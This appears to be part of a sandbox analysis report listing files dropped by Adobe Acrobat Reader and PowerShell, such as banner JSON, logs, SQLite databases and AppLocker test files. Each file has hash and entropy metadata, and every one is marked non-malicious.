Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.266606091082711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJf+dPeUkwRe9:YvXKXKGoRIgYkcnG28Ukee9
MD5:	4074CA21BB2430B09D5596BD4B0CB7FD
SHA1:	2B1C15F4BCFA0CC1FCA97E5DA1109D9AB3EA6815
SHA-256:	278986E20A1489902407D30C25B4571E01DE41233B27F490FD29524CD5198EEA
SHA-512:	3F9B2ED324296F6DD7344D300B30BA5634BCE7C1C64D42F2C77914013C1C229AABCB58341D719A78A303B9360EEABDFC26551EB2DD59E4DF82649F32F17EBA02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.264278749090852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfbPtdPeUkwRe9:YvXKXKGoRIgYkcnGDV8Ukee9
MD5:	412D6C812DD043DAEEB87B2FF8E5B6E8
SHA1:	F232139CDBDB23E437DA2253693B8613B31DEA1B
SHA-256:	CA42F57603A6242BE110604FBCCD721EEF424581F922B275169778AD3DB8FB27
SHA-512:	2BA6057F03DB65ADCB017CEAB247621D7D5AA466BFEFCDA87B26B14108433F38047667589BAF03C7A4CEAB41E9E7FD058EFCCEA826368C7660CFE10CED67EC6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268231489079449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJf21rPeUkwRe9:YvXKXKGoRIgYkcnG+16Ukee9
MD5:	A58943213A8C1D665727CC46F78EBDE2
SHA1:	0F3F1542A7E697BA276ADF90B6764B5E229A05A4
SHA-256:	9B27E0F59FBC7042771C86BE8CC510E7DE049EECD154E49E9619221968A7E185
SHA-512:	AA270AE715B37C2BEED6AE502673D641E664B374D87BB103560A3558684AC9475142A7745219F6BDB5A468B29CE9777F4AFB8436B853E7AD4DA998736C53AC26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658705134599029
Encrypted:	false
SSDEEP:	24:Yv6XDHYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSUr:YvhBgkDMUJUAh8cvMI
MD5:	0D5212210A6EAF56740B72A9DF491416
SHA1:	6ADB478EF4F3D2976CFB9F473E1286410C5EC18D
SHA-256:	572E34640CA6D5A76F4171C2A5A9EDBB2FB86CE6A663740BD8C65578AC613806
SHA-512:	1D3FEE225CA676F8EA4BA0D3196713E48675BB55AD9D83CD470AE492041318C5ACA0403FB817549C7942B70C472E4F870AEB9F60FFDC1A71528872DFE0D8E0BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244234688466641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfshHHrPeUkwRe9:YvXKXKGoRIgYkcnGUUUkee9
MD5:	843B8808D70E999EA763270D77C1B20C
SHA1:	D3DD5FEE7006F9D264C7FBB66ACF0EC6BDB4FB49
SHA-256:	768FC1DE9BB940030EC4C09A52A155249DE61CD16B089142C8B179860BCD3500
SHA-512:	37C8AFC6C0460016C1DA4170E3420A42367635BB94D7923FD76735B1B31D7DA964418B4E28B41338022CD28694002E94F0DF5E6D54230C99841A1A20BA3DBA2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256252225280525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJTqgFCrPeUkwRe9:YvXKXKGoRIgYkcnGTq16Ukee9
MD5:	1292B39D29F14E454348E28E875A793B
SHA1:	62B4E94572F45B1928661C005CD5EC857351D78E
SHA-256:	054731E8922254E0D502850AE7E09FA18A402BE030673F9F3BCB5E39C164091C
SHA-512:	A4E18D5C4457DD4AE56656F9C862C836BD0599AB721BA0F7483151FE63AD586FD4E7B440223C516422C25891CD63301E553389D0458B7180D1505945A6BA6958
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132348492283768
Encrypted:	false
SSDEEP:	48:YRwSXcyWl8AJY1USiMfUHbcfJ3iMq59cO:eBcyWJJyUA0bSJyMeP
MD5:	05710CBE3351C8F8893C091274CECD31
SHA1:	391ADBB46EABD5F06CBC6C03D713675E39A2954E
SHA-256:	48F9022E7B8FF34B78FB164EC574F4F9D7345CF6E3D858DC6E3B6B29A4986A90
SHA-512:	6A082E82D68420F101A040DB24D5696E47BADE985BD45DB499519656B0F4E22A385352E5BB6CE61B95B843DA0C8AF4EEB9BF1C6D325EA744CCE95E3887E8A298
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e9d2e0888f791285351fefa9764dc851","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532135000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4509a2f709529c99ce2c078521bb259b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532135000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2f4835e5a7080a0a57d1dff86a9e9a05","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532135000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b6fa5d707f725ede535f33b7eb9acfb5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532135000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8b8b4393e818ec4705d86942dab9edb1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532135000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cf23dc4fede15fe5d34d7c959d8edc60","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1462075529841138
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursCYRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcq:TFl2GL7msCSXc+XcGNFlRYIX2v3ktE
MD5:	8301646E689722DE9253E1DFF31222C9
SHA1:	5ECD72E9A3C837EFEC99025A9D577F9B9F184B99
SHA-256:	23CFF12DA460A93B426F14CEFC5108B2F40E96B44E4A82BFDE9C54541777E91D
SHA-512:	14A7D7BCF121B972C5457A9095DDF5119FF6101D2376B5EDB2CA5037B2D19D6525C88ACB0E27A958403A6A38BF548C4EDAF7A92FCD59DDDD6E798880D7DFA55C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5508596610977674
Encrypted:	false
SSDEEP:	24:7+tWYUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxCnqLxx/XYT:7MWtXc+XcGNFlRYIX2vHqVl2GL7msS
MD5:	07AA08687619566FDE1864A0D65FEA6F
SHA1:	8267B0D83CF3E888BA1D7D8569389FA7D0655762
SHA-256:	BC3096037D893A38C85B0C275091D78974D6E7737DE0A02177036A56938D8B33
SHA-512:	491B641098185AAA7DFB03E3447436C0B6DAB7D65F67D52B7892CE76A86F1E8A4442F54DE54DB6C565FF036587E0F052F8088EEB7B43FCAB842D3FD66D5156A9
Malicious:	false
Preview:	.... .c...../5............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgrtq6PCWPCJcah/7pudSt4TZYOYyu:6a6TZ44ADErtFPCriahqtRK
MD5:	3FBAA56AAA8B7EDDDD9000D7879CE5A4
SHA1:	473312787F8DED82BADF6589E8887FC2C8D77201
SHA-256:	327A13CE81826C76FE443563C2FFDB65271AFF8DB06A528E600D1EA87F541B27
SHA-512:	1D45214712349A9BFD496E5CF886DF9B3883220766A161F07F5AA92AFCEDDBCEEB1CE5EE5C6192A2593118EF6E8ACDD20AFF37D5E6EB6EB574AD5520466B7249
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI46ad9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEPlR:Qw946cPbiOxDlbYnuRK+bDdR
MD5:	F520D0311B7CA07C645C227858501610
SHA1:	76EE684AD87DF41BDBA563A1E7108D0F858D177C
SHA-256:	1544599DCA94A9B46F2772D0BDC3FF17E849B67CBEC67ED3808CEDBAD89C12C2
SHA-512:	A1CEECFD65E19893BA1C4F21692EFEEF8561700160A51353AD71D4C04134227B38BE1CBFFB1FD98C50FFA6A35362A4A99A9FBCCEC90297393760F01AD5A6A682
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.2.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3eukigo.tb5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mvpotjyq.1bu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-02-09-048.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359103562124405
Encrypted:	false
SSDEEP:	384:0VDkLZW7xudeNad8k6eLDKDHuK5J/Uj0OylUmQYG2s8pIWoAs0DFhqi1cRfh4iR1:8493
MD5:	CB1847A7C03C9A7C89FD3E46AE4192B2
SHA1:	60F5DE0C081319F585F9D2906667F09E429BECAF
SHA-256:	88364087DB9692D2F8A7373DC805703836EAEA250A2311EF7171371A9CF7CD5C
SHA-512:	DD2B78A13C85B9AC2561E3F17465830AE0B55C0E07376FF99D4199A6C106E797A5FE72EC54C26607E1633A07B831C3D248817D57F7C9EE9331D786562782ACF1
Malicious:	false
Preview:	SessionID=dcbe1cbc-d67a-45a4-a704-d43f9082c2b1.1736532129069 Timestamp=2025-01-10T13:02:09:069-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dcbe1cbc-d67a-45a4-a704-d43f9082c2b1.1736532129069 Timestamp=2025-01-10T13:02:09:072-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dcbe1cbc-d67a-45a4-a704-d43f9082c2b1.1736532129069 Timestamp=2025-01-10T13:02:09:072-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dcbe1cbc-d67a-45a4-a704-d43f9082c2b1.1736532129069 Timestamp=2025-01-10T13:02:09:072-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dcbe1cbc-d67a-45a4-a704-d43f9082c2b1.1736532129069 Timestamp=2025-01-10T13:02:09:072-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394087526319097
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb5KcbkIcscbZ:V3fOCIdJDeLBcD
MD5:	C30D66BB6B1D40CB29DC7B4C600E1A34
SHA1:	8791A26A3E762E134448490756544759A910377D
SHA-256:	69ACF69BBD638EC5C4C55280539924C96CB9425E8F15E1BC3B7AE9352301B7C3
SHA-512:	E8F067DE088254DBA3F205C624377F872E18B8D57E98164BC2F36FE406BE1621B3E35636045B74476518F6706E1781AAE3822BE2053697E5330CE50F3BEBE497
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c471194-cabf-421f-ae46-f557be12a826.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\1b97905a-ba32-4336-8ec9-21d6708c2435.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
